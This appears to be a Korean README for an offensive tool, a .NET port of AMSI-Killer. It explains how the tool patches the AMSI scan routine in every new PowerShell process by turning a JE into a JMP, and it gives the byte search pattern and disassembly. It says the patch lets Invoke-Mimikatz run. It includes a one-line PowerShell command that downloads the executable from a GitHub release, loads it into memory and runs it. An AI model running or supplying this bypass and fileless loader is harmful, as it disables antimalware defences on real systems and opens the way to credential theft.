
라이프타임 AMSI 우회: @ZeroMemoryEx 작성, .NET Framework 4.8로 포팅됨
AMSI-Killer(@ZeroMemoryEx)를 .NET Framework 4.8로 포팅한 평생(lifetime) AMSI 우회 도구.
[ x ] - 0.5초마다 새 PowerShell 프로세스 실시간 검사 -> 새 PowerShell 인스턴스 자동 패치
각 명령어의 첫 바이트를 검색하여 점프(jump) 명령어의 정확한 주소를 얻습니다. 이 기법은 대상 데이터 세트가 업데이트되거나 수정되어도 효과적입니다.
예:
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
검색 패턴은 다음과 같습니다:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

프로그램은 RDX 값을 자신과 비교합니다. 비교 결과가 0이면 반환(return)으로 점프를 실행합니다. 그렇지 않으면 다음 명령어를 평가합니다.

"Invoke-Mimikatz"를 실행할 수 없습니다.

첫 번째 바이트를 패치하여 JE를 JMP로 변경하면 바로 반환됩니다.


이제 "Invoke-Mimikatz"를 실행할 수 있습니다.



$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));
이 메시지를 본 적이 있고 그 정체가 궁금했다면 - .NET AMSI 인터페이스에 온 것을 환영합니다! :-)
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."